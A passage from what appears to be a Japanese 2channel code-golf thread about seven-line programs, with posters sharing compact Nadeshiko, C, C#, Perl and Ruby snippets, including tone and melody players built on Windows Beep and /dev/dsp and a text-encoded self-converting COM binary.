内容は「HTTP/1.0 200 OK{改行}Content-Type: text/html{改行}{改行}{それ}」。(サーバーの相手IP)へ(内容)をサーバーで送信。
サーバーの送信完了した時は〜サーバーの相手IPをサーバーが切断。
しかも、HTTPサーバって過去スレにあったよな
189 :
デフォルトの名無しさん :2006/12/04(月) 23:28:45
既に誰かが解いたことのあるパズルってだけでやる気無くすのか? そんなこたぁ無いだろー。 しかし、なでしこは初見だが、結構日本語風なんだな。びっくりした。
「メールホストを入力してください」と尋ねて、メールホストに代入。「メール差出人を入力してください」と尋ねて、メール差出人に代入。 「メール宛先を入力してください」と尋ねて、メール宛先に代入。「メール件名を入力してください」と尋ねて、メール件名に代入。 「メール本文を入力してください」で、メモ記入して、メール本文に代入。「いままでの内容が気に入らなければ、{改行}取消ボタンを押してください」を、「続行{改行}取消」のボタン選択。 もし、それが「続行」ならば、「メールホスト:{A}{改行}メール差出人:{B}{改行}メール宛先:{C} メール件名:{D}{改行}メール本文:{E}{改行}{改行}送信します。」と言う。違えば、終了。 メール送信。「送信が終わりました」と言う。終了。 (^o^)ノ<最低限機能メール送信ソフトだぞー
^^;
利用リストとはリスト。その幅は400。退避ボタンとはボタン。退避リストとはリスト。その幅は400。利用ボタンとはボタン。更新処理。 ●更新処理({=""}Fを{=""}Aから{=""}Bへ) もし、F≠空ならば、「{A}{F}」から「{B}{F}」へファイル移動。 利用リストのアイテムは「{SENDTOパス}*」をファイル列挙。退避リストのアイテムは「{SENDTOパス}退避\*」をファイル列挙。 退避ボタンをクリックした時は〜 「{SENDTOパス}退避\」へフォルダ作成。利用リストをSENDTOパスから「{SENDTOパス}退避\」へ更新処理。 利用ボタンをクリックした時は〜退避リストを「{SENDTOパス}退避\」からSENDTOパスへ更新処理。 (^o^)ノ<Windows送るメニューカスタマイズソフトだぞー
とても読みやすいんだけど、書きにくくないか?
なでしこは案外作り易そうだな 標準で使えるライブラリのサポートが多いせいもありそうだけど 1文字(2Byte)辺りの表現力が高いお陰なのかな
俺はCとか英語で書くの本格的にやったこと無いから、そっちの方が異次元だ なでしこなら 「Hello,World!」を表示。 の一行だぜ
なでしこなんか貼るな、空気嫁
198 :
デフォルトの名無しさん :2006/12/05(火) 00:01:33
なでしこの中の人すげーな
>>197 おまえが空気読め
というか、連投されると有り難みが薄れるぜ でもせっかくだから、作り易いなら正規表現辺りにチャレンジして欲しい
どうかんがえてもなでしこの方が空気読めてません。
なでしこの欠点は速度とか云々よりも”日本語”だから駄目だと言われた。 日本語らしさを追求するばかり、機械的な書き方が出来なくなる、と しかし二重インタプリタという感じで、メモリも速度も重いんだぜ
C/C++得意な人に聞きたいんだけど &&の代わりに&を使うテクニックがあったよね どういうときに使えるか覚えている人いる? ぐぐり辛い…
203 :
デフォルトの名無しさん :2006/12/05(火) 00:12:28
>>201 なでしこってインタプリタなの?( ゚д゚)
はいそうです
>>202 &&は前の式がtrueなら後ろの式が評価されないけど&は評価される
ただ&は演算結果がboolean値ではないので思わぬ結果を巻き起こしやすいので
&&から&に変える場合には最新の注意が必要
207 :
デフォルトの名無しさん :2006/12/05(火) 00:19:23
>>205-206 さんくす
結構限定的っぽいですねえ
>>207 いや…自分はまだそんなレベルじゃないです
過去の作品とか見ながら文字数の減らし方とか考えていてふと思ったので…
でも何か出来たら持ってきます
||の代わりに|なら比較的ありがちなテクニック。 あと&&の代わりに*もありがち。ただこっちはオーバフローの危険あり
なでしこかよww ぱっと見て「なに構想語ってんの?」とか思ってしまった
まあまあ 7行なら良いじゃない なでしこはその前身のひまわりより 書きにくいとも聞くがどうなんだろ
特に変わらないと思う なでしこの処理速度はひまわりの十倍です
なでしこ面白いね ただ七行にするためのテクニックを駆使するものではなさそうだけど
なでしこいいけど、1行80文字くらいは守ってもらおう
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
216 :
デフォルトの名無しさん :2006/12/05(火) 10:34:18
>>215 一見ただの荒らしに見えるが、「なでしこ」という文字の中にひとつだけ
違うものが混じっている。探してみよう!
m9(^Д^)
随分ノリノリだな
TTSneoのことも思い出してあげて下さい
なにそれ?
なでしこのようなものです
なでしこでインデント禁止だと辛いです。この間、テトリス作って15行でした。
>>191 の真似してメール送信フォームです。
S="メールホストvメール差出人vメール宛先vメール件名vメール本文";C=~もし回数=5ならメール送信;終
S=(Sをvで区切)を全角変換;文字サイズ=16;反復,対象を9,回数*36-24へ文字表示;
ダイアログ数値変換=0;155,10へ移動;4回,E\回数をエディタとして作成;E[回数]→W=400
E\5をメモとして作成;E\5→W=400;E\5→H=230;母艦のタイトル="メール送信";送信とはボタン
その位置="560,365";そのクリック時=~Sで反復,EVAL(対象&「=E[{回数}]→テキスト」),C
>221 暗号臭くなって来て良い感じw
223 :
デフォルトの名無しさん :2006/12/06(水) 09:46:20
1行目の「終」はなでしこならではだね ホントは「終わり」だったと思うけど なでしこは漢字+送り仮名の命令に対して 助詞以外の送り仮名は飛ばす Mindとかでもそうなってるハズ
com2textを半角カナバージョンで、 ファイル指定は8.3形式で、 ゴミがつくのは仕様で、 実行は自己責任で。 H72タPQSVWP[Pクツツ0G=0GAs2A0GN1GP0GY0G[0Gg0Gl0Gv1Gy3ノア0T_)マ)マWセSテ、Iu>% @3ロKCuフXセ}テ_="@3タャ,&|9uナ_^[Y3タテHP[アトャ<。xタ,0,0ムロムミェ<ノu,)ラ# Oコ1ス60ニX@ス50ニ@Xスp01?Q1テ30シp0Jソp0ク@ル5キWuヒシ06Nニ@uフi[mコ4スウ06ニ@セ50コ*Oシ30スD51ニ@rタj (UソD1[[2_Iノシ300Iタカネフネ+ヘNSl12WH2HオTj(ラネヘネヘpYチCコ1ニ@I_シ30カu_ネコ1ニ@T4jロVjシコ[1ス60ニ@ _ス50ニ@セ450ユウスC?0コ1ニ@コ-Oニ@コ1ス460ニ@ス550ニ@ニ@TXKIタXXY1[[X]Xシ?チチHSNH>SPiIPH4SWHSXH BS\HS]H2ScHSfHdSkHSlIZトクHZ_DVヌDヌ[ソYTチイTjOB`65PIヘUJQjニ\ソnNチ_NAPIGタカFCnL^jツ__]\ LIタチTX]8クツカNーlGタFHFHネJヘネネオNトdjFDヒA6'5B0000'000000&
227 :
デフォルトの名無しさん :2006/12/19(火) 01:57:17
バイナリは誰かがためしてからじゃないと怖くて実行出来ないです><
誰かが試しても実行できないけど、自分自身をcom2textしているのはわかった。 行末の改行そのままでいいの?
>>228 やってみた。
・行末の改行はCRLFを残す
・
>>226 の行末についてしまっている空白は取り除く
・JIS X0201
で。
コード表眺めて気がついたけどNOP使えないから小賢しい技はちょっと使いづらいね。
230 :
226 :2006/12/20(水) 00:14:09
行末の空白をひとつだけ無視できるように。 ファイルにリダイレクトした時そのまま使えるように。 変な事してるっぽいけど気にしない。 H72タPQSVWP[Pクツツ0G;0G?s1KA0GP1GR0G[0G]0Gi0Gn0Gz3ノア0T_)マ)マWセTテ、Iu>5 4@3ロCAKuフXセ}テ_="54@ャ,&|9uナ_^[Y3タテHP[アトャ<。xタ,0,0ムロムミェIu-tル######Xスp01?Q1テ30シp0 Jソp0ク@ル5キWuヒシ06Nニ@uフi[gコ4スァ0.ニ@セ10コ*Oシ30ス951ニ@rタj(Uソ91[[2_Iノシ300Iタカネフネ+ヘNSl12 WH2HオTj(ラネヘネヘpYチCコ1ニ@I_シ30カu_ネコ1ニ@T4jロVjシコ[1ス60ニ@_ス50ニ@セ450ユウスC?0コ1ニ@コ5Oニ@ニ@T XKIタXXY1[[X]Xシ?チチHSMHfSOiHUPAHSXHSY]HS]HS^=HSdHSgaHSmIトクcHZ_DヌD:ヌ[ソZチイBTjOJ65 cJPIヘQPJUjニ\ソn>チ_NAJJGPカFCnL^jツ__]\LIタチTX]8クツカNーlGタFHFHネZヘネネオTjdFjフAAA.AAAB00&
>>230 カタカナ無しは無理かな?int 21hのどこかが必ずカタカナに抵触しそうかな。
確かCD 21だったよね
変換効率が3/2とかなら簡単だろうけど、4/3だと難しそう。 intよりもmovやシフトが使えないのが痛い
233 :
デフォルトの名無しさん :2007/01/02(火) 01:21:25
07年age
234 :
デフォルトの名無しさん :2007/01/18(木) 18:49:08
アセンブラ用に使えるニモニックの一覧表ってどこにあるんだっけ
適当なバイナリ作って逆汗
240 :
デフォルトの名無しさん :2007/01/22(月) 21:26:35
>>234 A+B Problemからわからんorz
>>240 問題のヒントに答えが書いてありますがな
242 :
240 :2007/01/23(火) 19:43:36
>>241 さすがに答えはわかるwそうじゃなくて、どうやって短く書いてんのかがさっぱりわからんってこと。
>>242 参考程度に昔自分が書いてたコード
main(n){gets(&n);putchar(n%85+5);}
これはAとBの合計が10未満で、
入力の1Byte目がA,2byte目が空白,3byte目がB,4byte目が改行|EOFのときだけ動く。
今はテストケースが改善されて10以上もあるから通らないけどな。
C#でブロックソート書いてみた。 using System;using System.Collections.Generic;namespace BWT{public static class BlockSort{public static int Sort(ref byte[]data){int l=data.Length,i=1,j ;byte[][]t=new byte[l][];t[0]=data;for(;i<l;i++){t[i]=new byte[l];for(j=1;j<l; j++){t[i][j]=t[i-1][j-1];}t[i][0]=t[i-1][l-1];}Array.Sort<byte[]>(t,new Comp() );i=Array.IndexOf<byte[]>(t,data);for(j=0;j<l;j++){data[j]=t[j][l-1];}return i ;}}class Comp:IComparer<byte[]>{public int Compare(byte[]x,byte[]y){int r=0,l= x.Length,i=0;for(;i<l;i++){r=(int)(x[i]-y[i]);if(r!=0)i+=l;}return r;}}} ジャグ配列のソートを自前で実装するのは行数的に厳しいです orz 修行が足りません。
245 :
244 :2007/01/24(水) 19:41:10
同じくソート解除 using System;using System.Collections.Generic;namespace DBWT{struct DE{public DE(int i,byte d){Ind=i;Data = d;}public int Ind;public byte Data;}public static class DeBlockSort{public static void Restoration(int ind,ref byte[]data ){int i,l=data.Length;DE[] de=new DE[l];for(i=0;i<l;i++){de[i]=new DE(i,data[i ]);}Array.Sort<DE>(de,new Comp());for(i=0;i<l;i++){data[i]=de[ind].Data;ind= de[ind].Ind;}}}class Comp:IComparer<DE>{public int Compare(DE x,DE y){if(x .Data != y.Data){return(int)(x.Data-y.Data);}else{return x.Ind-y.Ind;}}}} やっぱりまだまだです orz
perl -e "for(;;){print eval<STDIN>}" インタラクティブパールできたよー
引数何も無しでおkだから、さ
perl -pe '$_=eval$_' これで十分だろと
それは長すぎ。 perl -pe "$_=eval($_)" で十分。
250 :
249 :2007/01/24(水) 21:13:27
被った上に()の分負けてるー orz
perl -pe 'eval$_' でいいんじゃない?
252 :
デフォルトの名無しさん :2007/01/25(木) 11:45:00
これって標準入力を評価して標準出力に出力するってこと? 具体的にどういう使い方があるの?
irb のように使う?
電卓がわりとかじゃね?
あなたの実家に腐ったイカを送りましたよ
256 :
デフォルトの名無しさん :2007/01/26(金) 19:59:39
ある変数が マイナスだったら-1、プラスだったら1 に変換するCの式 if( a<0 ){ a=-1; }else if( a>0 ){ a=1; }else{ a=0; } を、なんか格好よく書くには どんな本を読んで勉強するべきでしょうか?
>>256 (a>0)-(a<0)
(a>=0)-(a<=0)
(a
>>31 )|((unsigned)-x
>>31 ) (算術シフト前提)
まず中1の数学の教科書だと思う。 a = a ? -1 * ( a / a ) : a;
あ、ちがった。ゴメン。 a = a > 0 ? 1 : ( a < 0 ? -1 : 0 ); とか。
260 :
256 :2007/01/26(金) 21:08:24
>>258 ヒントありがとう
a = (a>0)-(a<0);
までがんばれたっぽい。
もうすこし短くならない?
そういう関数があったと思ったが・・・
264 :
デフォルトの名無しさん :2007/01/27(土) 01:58:51
これ以上はむりじゃね?
>>179 の心得に従ってみた
a=a>0?1:-!!a
>>265 :-!!
監禁されてガムテープで口縛られてるみたいだぞ
269 :
デフォルトの名無しさん :2007/01/27(土) 16:43:12
a=a>0||-!!a; ↑ってどう?
a=5のときどうなる?
>>269 正しく動かない。
main(){
int a = -5;
a=a>0||-!!a;
assert(a==-1);
return 0;
}
272 :
デフォルトの名無しさん :2007/01/27(土) 17:54:52
あ、そっか0か1にしかなんねーじゃん
まだそんなこと言ってるの? アホが1匹まじってますよ〜
短い順 a=a>0?1:-!!a; //13 a=(a>0)-(a<0); //14 a=a>=0+(a>0)-1; //15 a=(a>=0)-(a<=0); //16 a=a>0?1:a<0?-1:0; //17
>>274 3つ目はカッコないとだめだろ
a=(a>=0)+(a>0)-1; //17
a>0が真のとき値は必ず-1になるんですか?
間違えた 1desu
環境によるんじゃないかなぁ、実のところ。
今までの作品見てて思ったんだが、音物ってまだでてないね。 やっぱりヘッダだけでもかなり文字数食うのかな。
280 :
デフォルトの名無しさん :2007/01/27(土) 23:37:20
>>279 1行食うからな…
でもwindows.hだけでbeep音は鳴らせるよな?
10 BEEP
>>279 昔のMSXとかBASIC見たいにMML鳴らせればねえ
10 PLAY ALLOC 0: PLAY "CDEFG"
cygwinとかbsd系でdsp使える環境 #include <sys/ioctl.h> #include <fcntl.h> int main(void){int rfd,dfd;char buf[1024];rfd=open("/dev/random",O_RDONLY);dfd= open("/dev/dsp",O_WRONLY);while(1){read(rfd,buf,1024);write(dfd,buf,1024);}} 音なるよ
285 :
デフォルトの名無しさん :2007/01/28(日) 02:42:59
それで4行なら7行で方形波生成+メロディ位いけるんじゃないか?
>>284 read, write未定義って言われる・・・
287 :
デフォルトの名無しさん :2007/01/28(日) 02:50:37
cygwinいれんのマンドクセ 会社行ったらやってみよ
#include <unistd.h> か、 すげーーーーー音なった!!
ちなみに、cygwinです。
290 :
デフォルトの名無しさん :2007/01/28(日) 02:54:11
ちなみにどんな音がなるんだ?
いや、ノイズだよ。 ザーって。
/dev/random辺りから察して砂嵐だろう
ボリュームに気をつけたほうがいい。いつもので行ったら死にそうになった。
294 :
デフォルトの名無しさん :2007/01/28(日) 02:58:00
なんだ ランダムだからどんなんかな〜と思ったけど、一音そんなに短いのか
295 :
284 :2007/01/28(日) 02:58:13
>>288 thx
>>290 /dev/randomから読み取ってdspに直書きしてるだけだから
>>291 です
単一の音色のソフトシンセくらいなら作れる可能性があるね7行で
/dev/dspってすげーな。 > cat /cygdrive/c/WINDOWS/Media/tada.wav > /dev/dsp 普通にwav鳴らせるんだ・・・
297 :
デフォルトの名無しさん :2007/01/28(日) 03:00:55
こんな時間に人が沸いてきた方が驚きなんだけど。仕事中か?
ああ、>>ちなみにcygwinのコマンドラインで cat /dev/random > /dev/dsp などとしても音なるよ 同じことです
>>296 んだんだ
cygwinのdspさんはwaveファイルも使えるんだ
あとioctl()とか使ってサンプリングレートとかチャンネル数とか変えれるから、
ちょっと気張ればネット越しに音鳴らすサウンドサーバが出来る
mixingも自力で頑張ればウハウハ
コード自体はfreebsdでも動くから、bsd機をpxebootで起動させればHDDいらずで(ry
#include <windows.h> int d[]={659,195,2,739,184,2,783,164,4,739,220,2,659,220,2,622,246,4,659,220,2, 739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,184,2,523,184,2,493,195,4 ,440,220,2,391,220,2,361,246,4,391,220,2,440,220,2,493,195,2,440,195,2,391,246, 2,361,246,2,329,164,2,329,184,2,659,195,2,739,184,2,783,164,4,739,220,2,659,220 ,2,622,246,4,659,220,2,739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,1\ 84,2,523,184,2,493,195,4,440,220,2,391,220,2,369,293,6,391,293,2,391,195,8};vo\ id b(int x,int y, int z){if(y){for(int i=0;i<z/50;++i){Beep(x,25);Beep(y,25);}} else{Beep(x,z);}Sleep(0);}int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){fo\ r(int i=0;i<sizeof(d);i+=3)b(d[i],d[i+1],d[i+2]*100);return 0;} ノートが周波数そのままなので、七行超えてしまた。Beep()で音が鳴るPCでどうぞ。 Bio_100%の蟹味噌のインスパイアです。
>>300 すげー、ピコピコなってるよ・・・
かに味噌なつかしす( ´ー`)
302 :
300 :2007/01/28(日) 04:30:09
#include <windows.h> int d[]={659,195,2,739,184,2,783,164,4,739,220,2,659,220,2,622,246,4,659,220,2, 739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,184,2,523,184,2,493,195,4 ,440,220,2,391,220,2,361,246,4,391,220,2,440,220,2,493,195,2,440,195,2,391,246, 2,361,246,2,329,164,2,329,184,2,659,195,2,739,184,2,783,164,4,739,220,2,659,220 ,2,622,246,4,659,220,2,739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,1\ 84,2,523,184,2,493,195,4,440,220,2,391,220,2,369,293,6,391,293,2,391,195,8};vo\ id b(int x,int y, int z){for(int i=0;i<z/50;++i){Beep(x,25);Beep(y,25);}}int W\ INAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){for(int i=0;i<sizeof(d)/sizeof(in\ t);i+=3)b(d[i],d[i+1],d[i+2]*100);return 0;} 酷いバグを直して19バイト削減。曲データ抜きなら4行だから、まぁアリってことにしてくださいm(__)m
303 :
300 :2007/01/28(日) 04:53:31
あ、横が80文字になってるし。WinMainのintは省略できるし、b()なんて 関数化する必要ないし。漏れアホス、回線切って首吊ってきます
>>300 の真似をしてみました。
VC8以外でコンパイルできるかは不明なり。
#include <windows.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],i,j=32;main(){float s=110;while(j<99)x[j++]=s*=1.05\
95;for(j=0;a[i];++i,j=0)while(j++<c[i]-48)Beep(x[a[i]],30),Beep(x[b[i]],30);}
げ、スペースが一箇所詰まってしまた。 #include <windows.h> char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643" "134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46" "894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822" "2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422" "4224224224444";int x[99],i,j=32;main(){float s=110;while(j<99)x[j++]=s*=1.05\ 95;for(j=0;a[i];++i,j=0)while(j++<c[i]-48)Beep(x[a[i]],30),Beep(x[b[i]],30);} これでちゃんと鳴る……といいな。
>>305 鳴ったよー。gcc cygwin で確認
308 :
279 :2007/01/28(日) 10:24:12
言った本人が何もしないのもあれなので作ってみたが、 レベル高すぎて投下する気なくす…orz
>>305 すげーww
なんかめちゃくちゃなつかしい
310 :
デフォルトの名無しさん :2007/01/28(日) 11:42:10
>>305 bcc5.5だと
1.05\
95;
の部分がエラーになったんだけど、直したら聞けました。つーかすげーこれww
#include <unistd.h>
#include <fcntl.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],d,i,j=32,k=8000,l=8;m(a,b,s){char r[4096];s*=2;a=k/a
;b=k/b;for(j=s;j--;)r[j]=(!(j%a)+!(j%b))*32;write(d,r,s);}main(){float s=1\
10;while(j<99) x[j++]=s*=1.0595;d=open("/dev/dsp",2);for(i=0;a[i];m(x[a\[i]],\
x[b[i]],30*c[i]-48),++i);}
>>305 がんばったけど、7行に出来ない(orz
とりあえず音はなるけど、和音とかしらんので鳴るだけでいいと思ってる (´・ω・` ス
>>311 #include <unistd.h>
#include <fcntl.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],d,i,j=32,k=8000,l=8;m(a,b,s){char r[4096];s*=2;a=k/a
;b=k/b;for(j=s;j--;)r[j]=(!(j%a)+!(j%b))*32;write(d,r,s);}main(){float s=110;
while(j<99) x[j++]=s*=1.0595;d=open("/dev/dsp",2);for(i=0;a[i];m(x[a[i]],x[b[\
i]],30*c[i]-48),++i);}
こうだな
#include <unistd.h>
#include <fcntl.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],d,i,j=32,k=8000,l=8;m(a,b,s){char r[4096];for(j=s;j\
--;)r[j]=(!(j%a)+!(j%b))*32;write(d,r,s);}main(){float s=110;while(j<99) x[j+\
+]=k/(s*=1.0595);d=open("/dev/dsp",2);for(i=0;a[i];m(x[a[i]],x[b[i]],60*c[i]-
96),++i);}
>>312 もうちょっと
後はデータをファイルに持たせるとか…か
>>311-313 dsp1.cpp:7: error: expected constructor, destructor, or type conversion before '(' token
dsp1.cpp:7: error: expected `,' or `;' before '(' token
dsp1.cpp: In function `int main()':
dsp1.cpp:7: warning: converting to `int' from `float'
dsp1.cpp:10: error: `m' undeclared (first use this function)
dsp1.cpp:10: error: (Each undeclared identifier is reported only once for each function it appears in.)
dsp1.cpp:10:11: warning: no newline at end of file
って、出る('A`)
m(a,b,s){ 多分、この書き方なんですけど、これってCでいいんですか?
>>284 に戻るけど…
using System;using System.IO;class Program{static void Main(string[]args){try{
int i=int.Parse(args[1]);byte[]h=new byte[]{82,73,70,70,36,0,(byte)i,0,87,65,
86,69,102,109,116,32,16,0,0,0,1,0,1,0,68,172,0,0,68,172,0,0,1,0,8,0,100,97,116
,97,0,0,(byte)i,0};using(FileStream f=new FileStream(args[0],FileMode.Create))
{f.Write(h,0,44);h=new byte[i*65536];Random r=new Random(DateTime.Now.Second);
r.NextBytes(h);f.Write(h,0,i*65536);}}catch{Console.Write("Error");}}}
使い方:
hoge.exe savepath length
長さは(0〜255)*65536Bでつ。
317 :
デフォルトの名無しさん :2007/01/28(日) 12:56:06
>>302 require"base64";require'zlib';require"Win32API";$o=Win32API.new("kernel32","B\
eep",%w(i i),'v');def b(x,y,z)(0...z/50).map{$o.call x,25;$o.call y,25}end;b=
"eJybzHSYgYnhMdMOIMnPvISBBci+A2RPBpN5TN+AIhA2RPwt42GgiBZYfR6Y\nnMwE0uUNZnODSY\
iaHYwg9e1gMpMRZA6EDREHqQGxD4PVfIOqYWLwZFwCJiEm\n08NthYyqjGxAtiojSOQwAwcDAE8gP\
SA=\n";d=Zlib::Inflate.inflate(Base64.decode64(b)).unpack("S*");(0...d.size/3
).map{|i|i*=3;b d[i],d[i+1],d[i+2]*100}
ワーイ。rubyで、6行できたよー。
319 :
デフォルトの名無しさん :2007/01/28(日) 13:38:54
320 :
デフォルトの名無しさん :2007/01/28(日) 13:41:13
>>313 データをファイルに持たせるのはルール違反
beep ついてねーよヽ(`Д´)ノウワァァン ということで cygwin 専用 beep エミュ。 音程が合わない時は BASE_FREQを適当に調整してください。 #include <windows.h> #include <stdio.h> #define BASE_FREQ8000 WINAPI BOOL Beep(DWORD freq, DWORD time){int t,tf,dt;static FILE *fp=0;if(!fp) fp=fopen("/dev/dsp","wb");if(!freq||freq>BASE_FREQ/2)tf=0x7fffffff;else tf= BASE_FREQ/2/freq;for(t=0;t<time*BASE_FREQ/1000;t++){dt=((t/tf))%2?127:0;fwrite (&dt,1,1,fp);}fflush(fp);return TRUE;}
322 :
321 :2007/01/28(日) 14:31:09
無駄が多すぎた。 #include <windows.h> #include <stdio.h> FILE *p;WINAPI BOOL Beep(DWORD f, DWORD m){int B=4000,t=0,g,d;p=p?p:fopen("/de" "v/dsp","wb");g=!f||f>B?(1<<31)-1:B/f;for(;t<m*B/500;t++){d=t/g%2?127:0;fwrite( &d,1,1,p);}fflush(p);return TRUE;}
Cの&& ||ってショートサーキット評価だっけ?
324 :
デフォルトの名無しさん :2007/01/28(日) 16:26:07
そうだぜ
thx もう少し縮められそうだ
326 :
305 :2007/01/28(日) 16:54:21
おー、なんか皆がんばっとる!('ω`*) 徹夜して作った甲斐がありました!
標準入力からMMLを読んでビープで再生する A-G: 音符; R: 休符 (数値を後置して長さ, ドットを後置して付点) Tn: Tempo; Ln: Length On: Octave (n=0-7); >: Octave+; <: Octave- #include <stdio.h> #include <windows.h> int r,c,d,n,j,a,o=4,l=4,t=120,f[84],g[]={0,2,3,5,7,8,10};w(a){ungetc(a,stdin); }y(){return getchar();}float s=27.5;q(int*p){for(r=0;'0'<=(d=y())&&d<='9';)r=r *10+d-'0';w(d);r?*p=r:0;}main(){for(;j<84;j++,s*=1.0595)f[j]=s;while((c=y())!= EOF)c+=c<'a'||'z'<c?0:'A'-'a','A'<=c&&c<'H'||c=='R'?c-'R'?a=g[c-'A']+12*o,(d=y ())=='+'||d=='#'?a+=a!=83:d=='-'?a-=!!a:w(d):0,n=l,q(&n),j=120000*((d=y())-'.' ?w(d),2:3)/t/n,c-'R'?Beep(f[a],j):Sleep(j):c=='L'?q(&l):c=='O'?q(&o),o=o>7?7:o :c=='T'?q(&t):c=='>'?o+=o!=7:c=='<'?o-=!!o:0;}//9行47桁 俺の力ではこれ以上短くできない…orz
あら。一行78文字になってた #include <stdio.h> #include <windows.h> int r,c,d,n,j,a,o=4,l=4,t=120,f[84],g[]={0,2,3,5,7,8,10};w(a){ungetc(a,stdin);} y(){return getchar();}float s=27.5;q(int*p){for(r=0;'0'<=(d=y())&&d<='9';)r=r*\ 10+d-'0';w(d);r?*p=r:0;}main(){for(;j<84;j++,s*=1.0595)f[j]=s;while((c=y())!=E\ OF)c+=c<'a'||'z'<c?0:'A'-'a','A'<=c&&c<'H'||c=='R'?c-'R'?a=g[c-'A']+12*o,(d=y() )=='+'||d=='#'?a+=a!=83:d=='-'?a-=!!a:w(d):0,n=l,q(&n),j=120000*((d=y())-'.'?w( d),2:3)/t/n,c-'R'?Beep(f[a],j):Sleep(j):c=='L'?q(&l):c=='O'?q(&o),o=o>7?7:o:c== 'T'?q(&t):c=='>'?o+=o!=7:c=='<'?o-=!!o:0;}
329 :
デフォルトの名無しさん :2007/01/28(日) 17:56:04
ソース解読するための 整形ツールって無いですか?
時代が20年くらい巻き戻ったな、このスレ
GNU Indentは?
332 :
デフォルトの名無しさん :2007/01/28(日) 18:31:01
'A' とかは数字の即値で書いたほうが短そう
335 :
デフォルトの名無しさん :2007/01/28(日) 22:48:24
>>284 BSD系って君が言ったから
OSXは、/dev/dspねぇ。。
>>335 多分あるよ。
FreeBSD5のカーネル付近から/dev/以下は自動的に作られるから。
ls -l /dev/dsp ってやってみて
それでもnot foundならkldload snd_driverでカーネルにサウンドドライバロードさせてみて
で、 ls -l /dev/dsp
>>336 そんなん言ったら数字とか英字の判断は、
C的にはisdigitとかisalphaを使うべきとこだよ。
>'0'<=(d=y())&&d<='9';
isdigit(d=y());
こっちのほうが圧倒的に短いし。
#includeディレクティブが一行食うから よほど文字種判別ばかりやってるコード じゃないと短くはならんでしょ
>>338 テレックスで用いられるようなアルファベットが連続していない文字コードを考慮すると
'A'<=c&&c<'H'||c=='R'
は
'A'==c||'B'==c||'C'==c||'D'==c||'E'==c||'F'==c||'G'==c||'R'==c
ないし
!('A'-c||'B'-c||'C'-c||'D'-c||'E'-c||'F'-c||'G'-c||'R'-c)
と書かないといけないのか。
流石にこのスレ的にはつらいな
!('A'-c&&'B'-c&&'C'-c&&'D'-c&&'E'-c&&'F'-c&&'G'-c&&'R'-c) だた
>>339 うちの環境だと #include<stdio.h> すれば問題なかった……っていうと、
これも邪道かなー。正しくは #include<ctype.h> だし。
どのみち環境に対して何の仮定もおかないで書くのはつらい。
mainでreturnしないのも本来問題あるわけだし。
まー、最終的には個人の裁量だから、この話題はヤメにしよう。宗教論争になりそうだ。
343 :
デフォルトの名無しさん :2007/01/29(月) 00:15:11
print"第一数字(半角数字で入力してください):";i=gets.to_i;print"第二数字(半角数\ 字で入力してください):";j=gets.to_i;puts"\n足し算:%g + %g = %g"%[i,j,i+j],"引\ き算:%g - %g = %g"%[i,j,i-j],"掛け算:%g * %g = %g"%[i,j,i*j],"べき算:%g の %g\ 乗 = %g"%[i,j,i**j] ワーイ、rubyで4行、け言語できたよー。
めそ
346 :
デフォルトの名無しさん :2007/01/29(月) 13:39:59
モキュ
和音に挑戦しようと思ったんじゃが 乗り遅れたか
348 :
デフォルトの名無しさん :2007/01/30(火) 11:13:16
キー押して音鳴らすようなの作れそうじゃね?
350 :
305 :2007/02/01(木) 01:13:43
本体部分を50バイト削減ー。
でもデータ作成に挫折った。キリのいいところまで入らない。
#include <windows.h>
char a[]=" 747:7:@:@C@AC@ACCCCCC<7<7HFHLOMLJLMLHJCJCJLMOQOMLMOTOMHHLMOOHJLMOQ"
